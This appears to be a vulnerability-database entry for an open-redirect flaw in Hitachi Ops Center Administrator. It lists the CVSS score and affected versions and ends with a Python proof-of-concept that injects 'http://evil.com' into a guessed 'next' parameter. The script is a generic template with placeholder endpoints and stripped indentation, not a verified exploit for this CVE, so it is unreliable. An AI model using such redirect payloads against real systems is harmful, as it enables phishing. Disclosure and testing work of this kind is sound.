Open Redirect vulnerability in Hitachi Ops Center Administrator.This issue affects Hitachi Ops Center Administrator: from 10.2.0 before 11.0.8.
CVSS Details
CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Hitachi Ops Center Administrator 10.2.0
Hitachi Ops Center Administrator 10.2.0 - 11.0.8-1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
PoC for CVE-2026-1166 (Open Redirect)
This script demonstrates the vulnerability by checking if a specific parameter
triggers a redirect to an external domain.
"""
import requests
# Configuration
target_host = "https://<target-domain>" # Replace with actual Hitachi Ops Center URL
vulnerable_endpoint = "/path/to/vulnerable/page" # Replace based on actual discovery
malicious_url = "http://evil.com"
# Construct the attack payload
# Assuming the vulnerable parameter is 'next' or 'redirect' based on common patterns
attack_url = f"{target_host}{vulnerable_endpoint}?next={malicious_url}"
print(f"[*] Testing target: {attack_url}")
try:
response = requests.get(attack_url, allow_redirects=False, timeout=10)
# Check for HTTP 301 or 302 status codes
if response.status_code in [301, 302, 307, 308]:
location = response.headers.get('Location', '')
if malicious_url in location:
print(f"[+] Vulnerability Confirmed!")
print(f"[+] Server redirected to: {location}")
else:
print(f"[-] Redirect occurred, but not to the malicious payload: {location}")
else:
print(f"[-] No redirect detected (Status Code: {response.status_code}).")
except requests.RequestException as e:
print(f"[!] Error connecting to target: {e}")